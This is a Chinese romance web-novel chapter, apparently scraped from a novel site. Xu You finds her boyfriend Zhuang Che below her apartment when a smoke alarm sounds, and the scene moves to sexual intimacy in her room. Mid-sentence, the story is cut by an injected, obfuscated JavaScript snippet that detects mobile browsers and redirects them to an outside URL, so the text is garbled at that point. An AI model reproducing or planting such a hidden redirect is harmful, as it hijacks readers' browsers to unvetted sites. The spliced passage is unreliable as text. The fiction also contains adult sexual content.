许由刚到Y国时，还是个什么都不懂的“新兵蛋子”，第一次听到烟雾报警器响，真以为是楼里哪个房间燃起来了，拿起手机就往楼下冲，慌乱之际，她还记得着火时不能坐电梯，走的是楼梯。 然后便在楼梯间遇到一个正优哉游哉往上走的外国女生，女生见她一副慌慌张张的模样，笑着安慰道：“Don’tworry,everythingisfine.” 回到房间，许由在群里一问，果然没什么事，就是有人在厨房炒菜触发了烟雾报警而已。 时隔几个月，烟雾报警器再次疯狂地响起，而令许由惊讶的却不是深更半夜被触发的烟雾报警器，而是电话那头传来的，和她头顶上一模一样的，警报声。 “你现在在哪？” 听到烟雾报警器响时，只是些许加快的心跳，在此刻突然疯狂加速，心跳声重到几乎快要盖过头顶的警报声，许由跳下床，来不及穿鞋，直接光着脚跑到书桌边，倾身朝窗外看去。 正正好，和楼下穿着深色大衣，正仰头看她房间窗户的庄彻对上了视线。 他站在路灯下，浅色的灯光落了他满身，像结了一层厚厚的冰霜。 许由什么话也没说，转身匆忙趿上拖鞋，抓起挂在门边的外套就跑了出去，关门声被警报声掩盖。 庄彻大概也没有想到深更半夜的，许由公寓的烟雾报警器居然会响，握着手机愣在原地，怔怔地看着电梯门开后，许由大步朝自己跑来。 也许是今晚喝了一点酒的缘故，庄彻难得感性，又或许是被薛静璇的那番话刺激到了的缘故。 在酒吧里，庄彻摸着左手无名指上的那枚明显大出许多的戒指时，莫名的，他心底忽地滋生出一种，就像这枚戒指套不住他的无名指，他也套不住许由的那种空洞的恐惧感。 因此，他迫切地想要抓住许由。 所以哪怕在当下那个时间点已经没有了从Ｌ市飞往Ｘ市的班机，但他仍是想尽办法地回到了几百公里之外的Ｘ市。 可等真的站到了许由的公寓楼下，凌晨料峭的寒风将他周身的酒气吹散些许，庄彻瞬间冷静下来，他用暂时的理智，将心底突然出现的空隙填满。 拨通许由的电话时，庄彻本来想着，他只打这一次，如果许由不接电话就算了。 但是许由接了。 然后他看着那扇黑漆漆的窗户又想，两个人就这么简单地聊几句，能听到许由的声音，就够了。 但是许由似乎察觉到了什么，不光问他怎么了，还把房间的灯打开了，似乎做好了听他倾诉许久的准备。 于是庄彻看着那扇灯光亮起的窗户又想，那干脆就逗逗许由，听她在电话那头骂自己或者是嗔怪几句，见到鲜活的，而不是平淡如水的许由，便不枉他大半夜赶路四五个小时回到Ｘ市。 可是好巧不巧，烟雾报警器却突然响了。 许由就这么发现了楼下的他，然后毫不犹豫地朝他奔来。 最后的最后，庄彻在震耳欲聋的警报声中想，他这一辈子，真的永远永远，都不会再放开许由了。 凌晨空旷寂寥的街道上，好长一段时间都只有身后大楼急促的警报声响。 良久，许由平复下呼吸，率先开口：“你今天晚上不是、不是在Ｌ市吗？” 她记得在陆雨竹那看到那条朋友圈时，已经是晚上八点过了，那时候庄彻还在Ｙ市，怎么过了几个小时，就出现在她公寓楼下了？ 一阵寒风吹过，许由闻到那股熟悉的清冽气息里夹杂着的淡淡酒意：“你坐火车回来的吗？” 庄彻摇头：“开车。” 许由瞬间瞪大眼：“你喝了酒还开车，你疯了？！” “不是我开的，”庄彻笑着抬手，捏了捏许由软软的脸颊肉，“我给我爸妈在Ｙ国这边的司机打了电话，让他来帮我开的车。” 见许由眉头微蹙，目光中流露出些许不赞同的神色，庄彻笑容愈深，多解释了一句：“放心，没有压榨他，我还给他报销了酒店钱和明早回Ｌ市的机票。” 庄彻捏许由脸虽然没用多大的力气，但是他的手冰凉，许由又看了眼他身上穿的衣服，除了外头的大衣，里头就是之前在照片里看到的那件衬衫。现在虽然已经开春，但夜晚气温仍是很低，也不知道他在外头傻站着吹了多久的冷风。 许由捉住他的手，把他拉进公寓大门内，带他回到了自己的房间。 许由晚上睡觉时，喜欢把窗户关得死死的，一点风都透不进来的那种，也因此房间里比外头暖和许多。 她进屋后便脱下外套，拿出自己的烧水壶，打算给庄彻烧点热水来喝。 庄彻倒是也没跟她客气，暖和起来后，便把大衣脱了跟她的毛衣外套挂在一起，然后穿着衬衫西裤，大喇喇地坐进她的椅子里，一双大长腿随意伸展着，好奇地打量起她桌上的东西来。 许由总感觉庄彻往自己房间里一坐，原本不大的房间顿时变得更加拥挤了起来。 “这是什么？你现在居然还在用铅笔吗？”庄彻随手拿起桌上一支铅笔状的东西，在空中虚虚地比划了两下。 “这是我的眉笔，画眉毛用的——” “不准在餐巾纸上画！” “行吧。”庄彻眉梢微挑，把笔放回原处。 他今晚是第一次进到许由的房间，就跟个好奇宝宝似的，看什么都觉得有意思，对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612404|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么都好奇，根本安生不了几秒。 很快，他又看见了许由专门放口红的盒子，爪子不安分地伸进去扒拉。 “我们确定关系的那天，你涂的是哪一支，后来怎么没见你涂过了？” 水终于烧好了，许由倒了一杯出来，不轻不重地放在庄彻手边：“先喝点热水，暖暖身子。” 庄彻从盒子里拿出两支口红：“这两支的颜色看上去比较像，到底是哪一支，能涂给我看看吗？” 许由之前领教过一次，喝醉了的庄彻比没喝醉时更难缠，她无奈地捉住庄彻举着口红朝自己嘴唇伸来的手，目光暗含警告。 现在已经很晚了，庄彻大半夜从Ｌ市跑回Ｘ市来找她，许由做不出让他大半夜再独自走回公寓如此狠心的事。她房间的床比庄彻房间的床要窄一点，是一米三五的，但两个人挤一挤，也不是不能睡。 “已经很晚了，你去刷个牙洗个脸，就给我乖乖上床睡觉。” “噗。” 庄彻见到许由一本正经警告自己的模样，忍不住笑出声：“你当我是三岁小孩吗？” 话落，他手腕倏地翻转，反手抓住许由，把她自己面前轻轻一带，两腿夹住她，将她固定在自己身前，然后抬手环住她的腰。 许由房间的椅子比较矮，但就算是坐着，庄彻也只比许由矮一个头，他把脸埋在许由胸口，轻轻蹭了蹭，声音又低又闷：“先让我抱一抱。” 许由现在就穿了一件单薄的睡衣，里头什么也没穿，庄彻温热的呼吸隔着一层布料扑洒在敏｜感处，她脑中不受控制地涌现出过往许多水声交织的零碎片段。 “很，很晚了，你快点……去洗……” 许由用力往外推着庄彻的肩膀。 下一秒，本就松散的领口突然又敞开了些，庄彻居然用牙解开了她睡衣的扣子。 许由呼吸骤然变得急促。 椅子发出吱嘎吱嘎的声响，庄彻单手将许由的双手反剪在背后，另一只手则是在衣服底下细细地描摹着她后背肩胛骨的形状。 至于前面—— 他牙齿叼住第二颗扣子，抬眼看着许由面上惊慌无措，却又无可奈何的表情，嘴角高高扬起，牙齿轻轻往外一拉，视线里顿时落入一片羊脂玉般细腻的白。 睡衣宽大，再加上许由瘦，本来就不太撑得住这件衣服，所以现在仅仅解开了两颗扣子，睡衣便从肩头滑下，松散地挂在肘弯处。 许由咬着嘴唇，勉力不让自己发出声音。 “砰！” 走廊里突然响起一声重重的关门声，很快，住在许由隔壁的乔心也打开了房间门，南瑾书和乔心的说话声，隔着一道门，清晰地落进许由的耳里，许由全身瞬间变得紧绷。 乔心的声音还带着将醒未醒的倦意：“好烦呀，谁大半夜的炒菜把烟雾报警器给弄响了？” 南瑾书：“就是，我才刚睡着就被吵醒了，吓死我了，我躺在床上缓了好半天呢。” 乔心：“我也是我也是，吓得我腿都软了，躺在床上缓了好一阵呢。” 外面安静片刻，乔心的声音再次响起：“咦？许由呢，刚才警报声响的时候，我好像听见她房间有关门声来着。” 同一时间，房间里的许由听到乔心的话连大气也不敢喘，庄彻仰头看她被情｜欲熏得淡粉的脸颊，眼底忽然浮现出一丝狡黠的笑意。 “嗯……” 尽管许由已经竭力在忍着了，却还是在庄彻突如其来的举动之下，从齿缝间泄出一丝轻哼。